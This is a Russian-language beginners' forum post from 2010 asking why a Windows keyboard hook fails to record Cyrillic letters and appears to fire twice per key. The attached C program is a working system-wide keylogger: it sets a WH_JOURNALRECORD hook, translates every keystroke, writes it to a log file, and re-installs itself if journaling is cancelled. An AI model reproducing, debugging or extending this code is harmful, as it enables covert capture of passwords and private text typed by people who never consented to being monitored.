Непонятки с хуком JOURNALRECORD

Тема в разделе "WASM.BEGINNERS", создана пользователем pacak, 8 сен 2010.

  1. pacak

    pacak New Member

    Публикаций:
    0
    Регистрация:
    7 сен 2010
    Сообщения:
    1
    Возникла проблема с отловом русских букв. Если расклада английская, то все записывается, а на русской
    раскладке в лог ничего не пишется. Причем, если в функции "HookProc", вызвать MessageBox, то она покажет что русская буква была.Также сразу после вызова MessageBox, почему-то выскакивает еще одна MessageBox. Я так понимаю, что HookProc
    вызывается дважды при нажатии на одну клавишу.
    Почему это происходит? Судя по всему я что-то не "догоняю". Код прилагается:


    Код (Text):
    1. #include <stdio.h>
    2. #include <windows.h>
    3.  
    4. void InstallHook (HINSTANCE hInst);
    5. LRESULT CALLBACK  HookProc (int nCode, WPARAM wParam, LPARAM lParam);
    6.  
    7. HANDLE hHook, fHANDLE;
    8.  
    9. int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    10.   MSG msg;
    11.  
    12.   fHANDLE=CreateFile ("123.txt", GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, 0);
    13.   InstallHook (hInstance);
    14.   while (GetMessage(&msg, 0, 0, 0)) {
    15.     if (msg.message==WM_CANCELJOURNAL) InstallHook (hInstance);  
    16.     DispatchMessage(&msg);
    17.   }
    18.   UnhookWindowsHookEx (hHook);
    19.   CloseHandle (fHANDLE);
    20.   return 0;
    21. }
    22.  
    23. void InstallHook (HINSTANCE hInst) {
    24.   hHook=SetWindowsHookEx (WH_JOURNALRECORD, HookProc, hInst, 0);
    25.   return;
    26. }
    27.  
    28. LRESULT CALLBACK  HookProc (int nCode, WPARAM wParam, LPARAM lParam) {
    29.   EVENTMSG *evm;
    30.   DWORD ScanCode, threadID, processID, PARAM;
    31.   BYTE VirtCode;
    32.   char keystate[256], buf1[2]={"\0\0"};
    33.   WORD buf;
    34.   int value;
    35.   HKL activeHKL;
    36.   static int BS_NUM=0, FIRST_WRITE=1;
    37.  
    38.   if (nCode==HC_ACTION) {
    39.     evm=(EVENTMSG*)lParam;
    40.     if (evm->message==WM_KEYDOWN) {
    41.       PARAM=(evm->paramL);
    42.       VirtCode=(evm->paramL & 0xFF);
    43.       ScanCode=((PARAM & 0xFF00) >> 8);
    44.       GetKeyboardState (keystate);
    45.       threadID=GetWindowThreadProcessId (GetForegroundWindow(), &processID);
    46.       activeHKL=GetKeyboardLayout (threadID);
    47.       value=ToAsciiEx (VirtCode, ScanCode, keystate, &buf, 0, activeHKL);
    48.  
    49. //buf1[0]=*(char*)&buf;
    50. //MessageBox (0, buf1, "Hook", MB_OK);
    51.  
    52.       if (!(*((char*)&buf)<0x20) || *((char*)&buf)==0x08) {
    53.         if (*((char*)&buf)==0x08) BS_NUM++;
    54.         else {
    55.           if (FIRST_WRITE) {  
    56.             SetFilePointer (fHANDLE, 0, 0, FILE_END);
    57.             WriteFile (fHANDLE, (char*)&buf, 1, &value, 0);
    58.             FIRST_WRITE=0;
    59.             goto Loop1;
    60.           }
    61.           SetFilePointer (fHANDLE, -BS_NUM, 0, FILE_CURRENT);
    62.           WriteFile (fHANDLE, (char*)&buf, 1, &value, 0);
    63.           BS_NUM=0;
    64.         }
    65.       }
    66.     }
    67.   }
    68.   Loop1:
    69.   CallNextHookEx (hHook, nCode, wParam, lParam);
    70.   return 0;
    71. }